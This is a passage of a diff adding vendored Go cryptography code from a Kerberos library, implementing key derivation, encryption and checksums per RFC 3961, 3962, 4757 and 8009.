{0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E, 0xFE},
|
||||
{0xFE, 0x1F, 0xFE, 0x1F, 0xFE, 0x0E, 0xFE, 0x0E},
|
||||
{0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1, 0xFE},
|
||||
{0xFE, 0xE0, 0xFE, 0xE0, 0xFE, 0xF1, 0xFE, 0xF1},
|
||||
}
|
||||
for _, k := range weakKeys {
|
||||
if bytes.Equal(b, k) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
for _, k := range semiWeakKeys {
|
||||
if bytes.Equal(b, k) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
package rfc3961
|
||||
|
||||
/*
|
||||
Implementation of the n-fold algorithm as defined in RFC 3961.
|
||||
|
||||
n-fold is an algorithm that takes m input bits and "stretches" them
|
||||
to form n output bits with equal contribution from each input bit to
|
||||
the output, as described in [Blumenthal96]:
|
||||
|
||||
We first define a primitive called n-folding, which takes a
|
||||
variable-length input block and produces a fixed-length output
|
||||
sequence. The intent is to give each input bit approximately
|
||||
equal weight in determining the value of each output bit. Note
|
||||
that whenever we need to treat a string of octets as a number, the
|
||||
assumed representation is Big-Endian -- Most Significant Byte
|
||||
first.
|
||||
|
||||
To n-fold a number X, replicate the input value to a length that
|
||||
is the least common multiple of n and the length of X. Before
|
||||
each repetition, the input is rotated to the right by 13 bit
|
||||
positions. The successive n-bit chunks are added together using
|
||||
1's-complement addition (that is, with end-around carry) to yield
|
||||
a n-bit result....
|
||||
*/
|
||||
|
||||
/* Credits
|
||||
This golang implementation of nfold used the following project for help with implementation detail.
|
||||
Although their source is in java it was helpful as a reference implementation of the RFC.
|
||||
You can find the source code of their open source project along with license information below.
|
||||
We acknowledge and are grateful to these developers for their contributions to open source
|
||||
|
||||
Project: Apache Directory (http://http://directory.apache.org/)
|
||||
https://svn.apache.org/repos/asf/directory/apacheds/tags/1.5.1/kerberos-shared/src/main/java/org/apache/directory/server/kerberos/shared/crypto/encryption/NFold.java
|
||||
License: http://www.apache.org/licenses/LICENSE-2.0
|
||||
*/
|
||||
|
||||
// Nfold expands the key to ensure it is not smaller than one cipher block.
|
||||
// Defined in RFC 3961.
|
||||
//
|
||||
// m input bytes that will be "stretched" to the least common multiple of n bits and the bit length of m.
|
||||
func Nfold(m []byte, n int) []byte {
|
||||
k := len(m) * 8
|
||||
|
||||
//Get the lowest common multiple of the two bit sizes
|
||||
lcm := lcm(n, k)
|
||||
relicate := lcm / k
|
||||
var sumBytes []byte
|
||||
|
||||
for i := 0; i < relicate; i++ {
|
||||
rotation := 13 * i
|
||||
sumBytes = append(sumBytes, rotateRight(m, rotation)...)
|
||||
}
|
||||
|
||||
nfold := make([]byte, n/8)
|
||||
sum := make([]byte, n/8)
|
||||
for i := 0; i < lcm/n; i++ {
|
||||
for j := 0; j < n/8; j++ {
|
||||
sum[j] = sumBytes[j+(i*len(sum))]
|
||||
}
|
||||
nfold = onesComplementAddition(nfold, sum)
|
||||
}
|
||||
return nfold
|
||||
}
|
||||
|
||||
func onesComplementAddition(n1, n2 []byte) []byte {
|
||||
numBits := len(n1) * 8
|
||||
out := make([]byte, numBits/8)
|
||||
carry := 0
|
||||
for i := numBits - 1; i > -1; i-- {
|
||||
n1b := getBit(&n1, i)
|
||||
n2b := getBit(&n2, i)
|
||||
s := n1b + n2b + carry
|
||||
|
||||
if s == 0 || s == 1 {
|
||||
setBit(&out, i, s)
|
||||
carry = 0
|
||||
} else if s == 2 {
|
||||
carry = 1
|
||||
} else if s == 3 {
|
||||
setBit(&out, i, 1)
|
||||
carry = 1
|
||||
}
|
||||
}
|
||||
if carry == 1 {
|
||||
carryArray := make([]byte, len(n1))
|
||||
carryArray[len(carryArray)-1] = 1
|
||||
out = onesComplementAddition(out, carryArray)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func rotateRight(b []byte, step int) []byte {
|
||||
out := make([]byte, len(b))
|
||||
bitLen := len(b) * 8
|
||||
for i := 0; i < bitLen; i++ {
|
||||
v := getBit(&b, i)
|
||||
setBit(&out, (i+step)%bitLen, v)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func lcm(x, y int) int {
|
||||
return (x * y) / gcd(x, y)
|
||||
}
|
||||
|
||||
func gcd(x, y int) int {
|
||||
for y != 0 {
|
||||
x, y = y, x%y
|
||||
}
|
||||
return x
|
||||
}
|
||||
|
||||
func getBit(b *[]byte, p int) int {
|
||||
pByte := p / 8
|
||||
pBit := uint(p % 8)
|
||||
vByte := (*b)[pByte]
|
||||
vInt := int(vByte >> (8 - (pBit + 1)) & 0x0001)
|
||||
return vInt
|
||||
}
|
||||
|
||||
func setBit(b *[]byte, p, v int) {
|
||||
pByte := p / 8
|
||||
pBit := uint(p % 8)
|
||||
oldByte := (*b)[pByte]
|
||||
var newByte byte
|
||||
newByte = byte(v<<(8-(pBit+1))) | oldByte
|
||||
(*b)[pByte] = newByte
|
||||
}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
// Package rfc3962 provides encryption and checksum methods as specified in RFC 3962
|
||||
package rfc3962
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/aescts.v1"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
)
|
||||
|
||||
// EncryptData encrypts the data provided using methods specific to the etype provided as defined in RFC 3962.
|
||||
func EncryptData(key, data []byte, e etype.EType) ([]byte, []byte, error) {
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
return []byte{}, []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
ivz := make([]byte, e.GetCypherBlockBitLength()/8)
|
||||
return aescts.Encrypt(key, ivz, data)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided using the methods specific to the etype provided as defined in RFC 3962.
|
||||
// The encrypted data is concatenated with its integrity hash to create an encrypted message.
|
||||
func EncryptMessage(key, message []byte, usage uint32, e etype.EType) ([]byte, []byte, error) {
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
return []byte{}, []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
//confounder
|
||||
c := make([]byte, e.GetConfounderByteSize())
|
||||
_, err := rand.Read(c)
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("could not generate random confounder: %v", err)
|
||||
}
|
||||
plainBytes := append(c, message...)
|
||||
|
||||
// Derive key for encryption from usage
|
||||
var k []byte
|
||||
if usage != 0 {
|
||||
k, err = e.DeriveKey(key, common.GetUsageKe(usage))
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("error deriving key for encryption: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Encrypt the data
|
||||
iv, b, err := e.EncryptData(k, plainBytes)
|
||||
if err != nil {
|
||||
return iv, b, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
|
||||
// Generate and append integrity hash
|
||||
ih, err := common.GetIntegrityHash(plainBytes, key, usage, e)
|
||||
if err != nil {
|
||||
return iv, b, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
b = append(b, ih...)
|
||||
return iv, b, nil
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided using the methods specific to the etype provided as defined in RFC 3962.
|
||||
func DecryptData(key, data []byte, e etype.EType) ([]byte, error) {
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
ivz := make([]byte, e.GetCypherBlockBitLength()/8)
|
||||
return aescts.Decrypt(key, ivz, data)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided using the methods specific to the etype provided as defined in RFC 3962.
|
||||
// The integrity of the message is also verified.
|
||||
func DecryptMessage(key, ciphertext []byte, usage uint32, e etype.EType) ([]byte, error) {
|
||||
//Derive the key
|
||||
k, err := e.DeriveKey(key, common.GetUsageKe(usage))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error deriving key: %v", err)
|
||||
}
|
||||
// Strip off the checksum from the end
|
||||
b, err := e.DecryptData(k, ciphertext[:len(ciphertext)-e.GetHMACBitLength()/8])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//Verify checksum
|
||||
if !e.VerifyIntegrity(key, ciphertext, b, usage) {
|
||||
return nil, errors.New("integrity verification failed")
|
||||
}
|
||||
//Remove the confounder bytes
|
||||
return b[e.GetConfounderByteSize():], nil
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
package rfc3962
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
|
||||
"github.com/jcmturner/gofork/x/crypto/pbkdf2"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
)
|
||||
|
||||
const (
|
||||
s2kParamsZero = 4294967296
|
||||
)
|
||||
|
||||
// StringToKey returns a key derived from the string provided according to the definition in RFC 3961.
|
||||
func StringToKey(secret, salt, s2kparams string, e etype.EType) ([]byte, error) {
|
||||
i, err := S2KparamsToItertions(s2kparams)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return StringToKeyIter(secret, salt, i, e)
|
||||
}
|
||||
|
||||
// StringToPBKDF2 generates an encryption key from a pass phrase and salt string using the PBKDF2 function from PKCS #5 v2.0
|
||||
func StringToPBKDF2(secret, salt string, iterations int64, e etype.EType) []byte {
|
||||
return pbkdf2.Key64([]byte(secret), []byte(salt), iterations, int64(e.GetKeyByteSize()), e.GetHashFunc())
|
||||
}
|
||||
|
||||
// StringToKeyIter returns a key derived from the string provided according to the definition in RFC 3961.
|
||||
func StringToKeyIter(secret, salt string, iterations int64, e etype.EType) ([]byte, error) {
|
||||
tkey := e.RandomToKey(StringToPBKDF2(secret, salt, iterations, e))
|
||||
return e.DeriveKey(tkey, []byte("kerberos"))
|
||||
}
|
||||
|
||||
// S2KparamsToItertions converts the string representation of iterations to an integer
|
||||
func S2KparamsToItertions(s2kparams string) (int64, error) {
|
||||
//process s2kparams string
|
||||
//The parameter string is four octets indicating an unsigned
|
||||
//number in big-endian order. This is the number of iterations to be
|
||||
//performed. If the value is 00 00 00 00, the number of iterations to
|
||||
//be performed is 4,294,967,296 (2**32).
|
||||
var i uint32
|
||||
if len(s2kparams) != 8 {
|
||||
return int64(s2kParamsZero), errors.New("invalid s2kparams length")
|
||||
}
|
||||
b, err := hex.DecodeString(s2kparams)
|
||||
if err != nil {
|
||||
return int64(s2kParamsZero), errors.New("invalid s2kparams, cannot decode string to bytes")
|
||||
}
|
||||
i = binary.BigEndian.Uint32(b)
|
||||
//buf := bytes.NewBuffer(b)
|
||||
//err = binary.Read(buf, binary.BigEndian, &i)
|
||||
if err != nil {
|
||||
return int64(s2kParamsZero), errors.New("invalid s2kparams, cannot convert to big endian int32")
|
||||
}
|
||||
return int64(i), nil
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package rfc4757
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/hmac"
|
||||
"crypto/md5"
|
||||
"io"
|
||||
)
|
||||
|
||||
// Checksum returns a hash of the data in accordance with RFC 4757
|
||||
func Checksum(key []byte, usage uint32, data []byte) ([]byte, error) {
|
||||
// Create hashing key
|
||||
s := append([]byte(`signaturekey`), byte(0x00)) //includes zero octet at end
|
||||
mac := hmac.New(md5.New, key)
|
||||
mac.Write(s)
|
||||
Ksign := mac.Sum(nil)
|
||||
|
||||
// Format data
|
||||
tb := UsageToMSMsgType(usage)
|
||||
p := append(tb, data...)
|
||||
h := md5.New()
|
||||
rb := bytes.NewReader(p)
|
||||
_, err := io.Copy(h, rb)
|
||||
if err != nil {
|
||||
return []byte{}, err
|
||||
}
|
||||
tmp := h.Sum(nil)
|
||||
|
||||
// Generate HMAC
|
||||
mac = hmac.New(md5.New, Ksign)
|
||||
mac.Write(tmp)
|
||||
return mac.Sum(nil), nil
|
||||
}
|
||||
|
||||
// HMAC returns a keyed MD5 checksum of the data
|
||||
func HMAC(key []byte, data []byte) []byte {
|
||||
mac := hmac.New(md5.New, key)
|
||||
mac.Write(data)
|
||||
return mac.Sum(nil)
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
// Package rfc4757 provides encryption and checksum methods as specified in RFC 4757
|
||||
package rfc4757
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/rand"
|
||||
"crypto/rc4"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
)
|
||||
|
||||
// EncryptData encrypts the data provided using methods specific to the etype provided as defined in RFC 4757.
|
||||
func EncryptData(key, data []byte, e etype.EType) ([]byte, error) {
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
rc4Cipher, err := rc4.NewCipher(key)
|
||||
if err != nil {
|
||||
return []byte{}, fmt.Errorf("error creating RC4 cipher: %v", err)
|
||||
}
|
||||
ed := make([]byte, len(data))
|
||||
copy(ed, data)
|
||||
rc4Cipher.XORKeyStream(ed, ed)
|
||||
rc4Cipher.Reset()
|
||||
return ed, nil
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided using the methods specific to the etype provided as defined in RFC 4757.
|
||||
func DecryptData(key, data []byte, e etype.EType) ([]byte, error) {
|
||||
return EncryptData(key, data, e)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided using the methods specific to the etype provided as defined in RFC 4757.
|
||||
// The encrypted data is concatenated with its RC4 header containing integrity checksum and confounder to create an encrypted message.
|
||||
func EncryptMessage(key, data []byte, usage uint32, export bool, e etype.EType) ([]byte, error) {
|
||||
confounder := make([]byte, e.GetConfounderByteSize()) // size = 8
|
||||
_, err := rand.Read(confounder)
|
||||
if err != nil {
|
||||
return []byte{}, fmt.Errorf("error generating confounder: %v", err)
|
||||
}
|
||||
k1 := key
|
||||
k2 := HMAC(k1, UsageToMSMsgType(usage))
|
||||
toenc := append(confounder, data...)
|
||||
chksum := HMAC(k2, toenc)
|
||||
k3 := HMAC(k2, chksum)
|
||||
|
||||
ed, err := EncryptData(k3, toenc, e)
|
||||
if err != nil {
|
||||
return []byte{}, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
|
||||
msg := append(chksum, ed...)
|
||||
return msg, nil
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided using the methods specific to the etype provided as defined in RFC 4757.
|
||||
// The integrity of the message is also verified.
|
||||
func DecryptMessage(key, data []byte, usage uint32, export bool, e etype.EType) ([]byte, error) {
|
||||
checksum := data[:e.GetHMACBitLength()/8]
|
||||
ct := data[e.GetHMACBitLength()/8:]
|
||||
_, k2, k3 := deriveKeys(key, checksum, usage, export)
|
||||
|
||||
pt, err := DecryptData(k3, ct, e)
|
||||
if err != nil {
|
||||
return []byte{}, fmt.Errorf("error decrypting data: %v", err)
|
||||
}
|
||||
|
||||
if !VerifyIntegrity(k2, pt, data, e) {
|
||||
return []byte{}, errors.New("integrity checksum incorrect")
|
||||
}
|
||||
return pt[e.GetConfounderByteSize():], nil
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity checksum of the data matches that calculated from the decrypted data.
|
||||
func VerifyIntegrity(key, pt, data []byte, e etype.EType) bool {
|
||||
chksum := HMAC(key, pt)
|
||||
return hmac.Equal(chksum, data[:e.GetHMACBitLength()/8])
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
package rfc4757
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"golang.org/x/crypto/md4"
|
||||
)
|
||||
|
||||
// StringToKey returns a key derived from the string provided according to the definition in RFC 4757.
|
||||
func StringToKey(secret string) ([]byte, error) {
|
||||
b := make([]byte, len(secret)*2, len(secret)*2)
|
||||
for i, r := range secret {
|
||||
u := fmt.Sprintf("%04x", r)
|
||||
c, err := hex.DecodeString(u)
|
||||
if err != nil {
|
||||
return []byte{}, errors.New("character could not be encoded")
|
||||
}
|
||||
// Swap round the two bytes to make little endian as we put into byte slice
|
||||
b[2*i] = c[1]
|
||||
b[2*i+1] = c[0]
|
||||
}
|
||||
r := bytes.NewReader(b)
|
||||
h := md4.New()
|
||||
_, err := io.Copy(h, r)
|
||||
if err != nil {
|
||||
return []byte{}, err
|
||||
}
|
||||
return h.Sum(nil), nil
|
||||
}
|
||||
|
||||
func deriveKeys(key, checksum []byte, usage uint32, export bool) (k1, k2, k3 []byte) {
|
||||
//if export {
|
||||
// L40 := make([]byte, 14, 14)
|
||||
// copy(L40, []byte(`fortybits`))
|
||||
// k1 = HMAC(key, L40)
|
||||
//} else {
|
||||
// tb := MessageTypeBytes(usage)
|
||||
// k1 = HMAC(key, tb)
|
||||
//}
|
||||
//k2 = k1[:16]
|
||||
//if export {
|
||||
// mask := []byte{0xAB,0xAB,0xAB,0xAB,0xAB,0xAB,0xAB,0xAB,0xAB}
|
||||
// copy(k1[7:16], mask)
|
||||
//}
|
||||
//k3 = HMAC(k1, checksum)
|
||||
//return
|
||||
k1 = key
|
||||
k2 = HMAC(k1, UsageToMSMsgType(usage))
|
||||
k3 = HMAC(k2, checksum)
|
||||
return
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
package rfc4757
|
||||
|
||||
import "encoding/binary"
|
||||
|
||||
// UsageToMSMsgType converts Kerberos key usage numbers to Microsoft message type encoded as a little-endian four byte slice.
|
||||
func UsageToMSMsgType(usage uint32) []byte {
|
||||
// Translate usage numbers to the Microsoft T numbers
|
||||
switch usage {
|
||||
case 3:
|
||||
usage = 8
|
||||
case 9:
|
||||
usage = 8
|
||||
case 23:
|
||||
usage = 13
|
||||
}
|
||||
// Now convert to bytes
|
||||
tb := make([]byte, 4) // We force an int32 input so we can't go over 4 bytes
|
||||
binary.PutUvarint(tb, uint64(usage))
|
||||
return tb
|
||||
}
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
// Package rfc8009 provides encryption and checksum methods as specified in RFC 8009
|
||||
package rfc8009
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/hmac"
|
||||
"crypto/rand"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/aescts.v1"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
// EncryptData encrypts the data provided using methods specific to the etype provided as defined in RFC 8009.
|
||||
func EncryptData(key, data []byte, e etype.EType) ([]byte, []byte, error) {
|
||||
kl := e.GetKeyByteSize()
|
||||
if e.GetETypeID() == etypeID.AES256_CTS_HMAC_SHA384_192 {
|
||||
kl = 32
|
||||
}
|
||||
if len(key) != kl {
|
||||
return []byte{}, []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
ivz := make([]byte, aes.BlockSize)
|
||||
return aescts.Encrypt(key, ivz, data)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided using the methods specific to the etype provided as defined in RFC 8009.
|
||||
// The encrypted data is concatenated with its integrity hash to create an encrypted message.
|
||||
func EncryptMessage(key, message []byte, usage uint32, e etype.EType) ([]byte, []byte, error) {
|
||||
kl := e.GetKeyByteSize()
|
||||
if e.GetETypeID() == etypeID.AES256_CTS_HMAC_SHA384_192 {
|
||||
kl = 32
|
||||
}
|
||||
if len(key) != kl {
|
||||
return []byte{}, []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", kl, len(key))
|
||||
}
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
}
|
||||
//confounder
|
||||
c := make([]byte, e.GetConfounderByteSize())
|
||||
_, err := rand.Read(c)
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("could not generate random confounder: %v", err)
|
||||
}
|
||||
plainBytes := append(c, message...)
|
||||
|
||||
// Derive key for encryption from usage
|
||||
var k []byte
|
||||
if usage != 0 {
|
||||
k, err = e.DeriveKey(key, common.GetUsageKe(usage))
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("error deriving key for encryption: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// Encrypt the data
|
||||
iv, b, err := e.EncryptData(k, plainBytes)
|
||||
if err != nil {
|
||||
return iv, b, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
|
||||
ivz := make([]byte, e.GetConfounderByteSize())
|
||||
ih, err := GetIntegityHash(ivz, b, key, usage, e)
|
||||
if err != nil {
|
||||
return iv, b, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
b = append(b, ih...)
|
||||
return iv, b, nil
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided using the methods specific to the etype provided as defined in RFC 8009.
|
||||
func DecryptData(key, data []byte, e etype.EType) ([]byte, error) {
|
||||
kl := e.GetKeyByteSize()
|
||||
if e.GetETypeID() == etypeID.AES256_CTS_HMAC_SHA384_192 {
|
||||
kl = 32
|
||||
}
|
||||
if len(key) != kl {
|
||||
return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", kl, len(key))
|
||||
}
|
||||
ivz := make([]byte, aes.BlockSize)
|
||||
return aescts.Decrypt(key, ivz, data)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided using the methods specific to the etype provided as defined in RFC 8009.
|
||||
// The integrity of the message is also verified.
|
||||
func DecryptMessage(key, ciphertext []byte, usage uint32, e etype.EType) ([]byte, error) {
|
||||
//Derive the key
|
||||
k, err := e.DeriveKey(key, common.GetUsageKe(usage))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error deriving key: %v", err)
|
||||
}
|
||||
// Strip off the checksum from the end
|
||||
b, err := e.DecryptData(k, ciphertext[:len(ciphertext)-e.GetHMACBitLength()/8])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//Verify checksum
|
||||
if !e.VerifyIntegrity(key, ciphertext, b, usage) {
|
||||
return nil, errors.New("integrity verification failed")
|
||||
}
|
||||
//Remove the confounder bytes
|
||||
return b[e.GetConfounderByteSize():], nil
|
||||
}
|
||||
|
||||
// GetIntegityHash returns a keyed integrity hash of the bytes provided as defined in RFC 8009
|
||||
func GetIntegityHash(iv, c, key []byte, usage uint32, e etype.EType) ([]byte, error) {
|
||||
// Generate and append integrity hash
|
||||
// The HMAC is calculated over the cipher state concatenated with the
|
||||
// AES output, instead of being calculated over the confounder and
|
||||
// plaintext. This allows the message receiver to verify the
|
||||
// integrity of the message before decrypting the message.
|
||||
// H = HMAC(Ki, IV | C)
|
||||
ib := append(iv, c...)
|
||||
return common.GetIntegrityHash(ib, key, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity verifies the integrity of cipertext bytes ct.
|
||||
func VerifyIntegrity(key, ct []byte, usage uint32, etype etype.EType) bool {
|
||||
h := make([]byte, etype.GetHMACBitLength()/8)
|
||||
copy(h, ct[len(ct)-etype.GetHMACBitLength()/8:])
|
||||
ivz := make([]byte, etype.GetConfounderByteSize())
|
||||
ib := append(ivz, ct[:len(ct)-(etype.GetHMACBitLength()/8)]...)
|
||||
expectedMAC, _ := common.GetIntegrityHash(ib, key, usage, etype)
|
||||
return hmac.Equal(h, expectedMAC)
|
||||
}
|
||||
+144
@@ -0,0 +1,144 @@
|
||||
package rfc8009
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
const (
|
||||
s2kParamsZero = 32768
|
||||
)
|
||||
|
||||
// DeriveRandom for key derivation as defined in RFC 8009
|
||||
func DeriveRandom(protocolKey, usage []byte, e etype.EType) ([]byte, error) {
|
||||
h := e.GetHashFunc()()
|
||||
return KDF_HMAC_SHA2(protocolKey, []byte("prf"), usage, h.Size(), e), nil
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage and the etype's specific methods.
|
||||
//
|
||||
// https://tools.ietf.org/html/rfc8009#section-5
|
||||
//
|
||||
// If the enctype is aes128-cts-hmac-sha256-128:
|
||||
// Kc = KDF-HMAC-SHA2(base-key, usage | 0x99, 128)
|
||||
// Ke = KDF-HMAC-SHA2(base-key, usage | 0xAA, 128)
|
||||
// Ki = KDF-HMAC-SHA2(base-key, usage | 0x55, 128)
|
||||
//
|
||||
// If the enctype is aes256-cts-hmac-sha384-192:
|
||||
// Kc = KDF-HMAC-SHA2(base-key, usage | 0x99, 192)
|
||||
// Ke = KDF-HMAC-SHA2(base-key, usage | 0xAA, 256)
|
||||
// Ki = KDF-HMAC-SHA2(base-key, usage | 0x55, 192)
|
||||
func DeriveKey(protocolKey, label []byte, e etype.EType) []byte {
|
||||
var context []byte
|
||||
var kl int
|
||||
// Key length is longer for aes256-cts-hmac-sha384-192 is it is a Ke or from StringToKey (where label is "kerberos")
|
||||
if e.GetETypeID() == etypeID.AES256_CTS_HMAC_SHA384_192 {
|
||||
switch label[len(label)-1] {
|
||||
case 0x73:
|
||||
// 0x73 is "s" so label could be kerberos meaning StringToKey so now check if the label is "kerberos"
|
||||
kerblabel := []byte("kerberos")
|
||||
if len(label) != len(kerblabel) {
|
||||
break
|
||||
}
|
||||
for i, b := range label {
|
||||
if b != kerblabel[i] {
|
||||
kl = e.GetKeySeedBitLength()
|
||||
break
|
||||
}
|
||||
}
|
||||
if kl == 0 {
|
||||
// This is StringToKey
|
||||
kl = 256
|
||||
}
|
||||
case 0xAA:
|
||||
// This is a Ke
|
||||
kl = 256
|
||||
}
|
||||
}
|
||||
if kl == 0 {
|
||||
kl = e.GetKeySeedBitLength()
|
||||
}
|
||||
return e.RandomToKey(KDF_HMAC_SHA2(protocolKey, label, context, kl, e))
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided according to the definition in RFC 8009.
|
||||
func RandomToKey(b []byte) []byte {
|
||||
return b
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided according to the definition in RFC 8009.
|
||||
func StringToKey(secret, salt, s2kparams string, e etype.EType) ([]byte, error) {
|
||||
i, err := S2KparamsToItertions(s2kparams)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return StringToKeyIter(secret, salt, i, e)
|
||||
}
|
||||
|
||||
// StringToKeyIter returns a key derived from the string provided according to the definition in RFC 8009.
|
||||
func StringToKeyIter(secret, salt string, iterations int, e etype.EType) ([]byte, error) {
|
||||
tkey := e.RandomToKey(StringToPBKDF2(secret, salt, iterations, e))
|
||||
return e.DeriveKey(tkey, []byte("kerberos"))
|
||||
}
|
||||
|
||||
// StringToPBKDF2 generates an encryption key from a pass phrase and salt string using the PBKDF2 function from PKCS #5 v2.0
|
||||
func StringToPBKDF2(secret, salt string, iterations int, e etype.EType) []byte {
|
||||
kl := e.GetKeyByteSize()
|
||||
if e.GetETypeID() == etypeID.AES256_CTS_HMAC_SHA384_192 {
|
||||
kl = 32
|
||||
}
|
||||
return pbkdf2.Key([]byte(secret), []byte(salt), iterations, kl, e.GetHashFunc())
|
||||
}
|
||||
|
||||
// KDF_HMAC_SHA2 key derivation: https://tools.ietf.org/html/rfc8009#section-3
|
||||
func KDF_HMAC_SHA2(protocolKey, label, context []byte, kl int, e etype.EType) []byte {
|
||||
//k: Length in bits of the key to be outputted, expressed in big-endian binary representation in 4 bytes.
|
||||
k := make([]byte, 4, 4)
|
||||
binary.BigEndian.PutUint32(k, uint32(kl))
|
||||
|
||||
c := make([]byte, 4, 4)
|
||||
binary.BigEndian.PutUint32(c, uint32(1))
|
||||
c = append(c, label...)
|
||||
c = append(c, byte(0))
|
||||
if len(context) > 0 {
|
||||
c = append(c, context...)
|
||||
}
|
||||
c = append(c, k...)
|
||||
|
||||
mac := hmac.New(e.GetHashFunc(), protocolKey)
|
||||
mac.Write(c)
|
||||
return mac.Sum(nil)[:(kl / 8)]
|
||||
}
|
||||
|
||||
// GetSaltP returns the salt value based on the etype name: https://tools.ietf.org/html/rfc8009#section-4
|
||||
func GetSaltP(salt, ename string) string {
|
||||
b := []byte(ename)
|
||||
b = append(b, byte(0))
|
||||
b = append(b, []byte(salt)...)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// S2KparamsToItertions converts the string representation of iterations to an integer for RFC 8009.
|
||||
func S2KparamsToItertions(s2kparams string) (int, error) {
|
||||
var i uint32
|
||||
if len(s2kparams) != 8 {
|
||||
return s2kParamsZero, errors.New("Invalid s2kparams length")
|
||||
}
|
||||
b, err := hex.DecodeString(s2kparams)
|
||||
if err != nil {
|
||||
return s2kParamsZero, errors.New("Invalid s2kparams, cannot decode string to bytes")
|
||||
}
|
||||
i = binary.BigEndian.Uint32(b)
|
||||
//buf := bytes.NewBuffer(b)
|
||||
//err = binary.Read(buf, binary.BigEndian, &i)
|
||||
if err != nil {
|
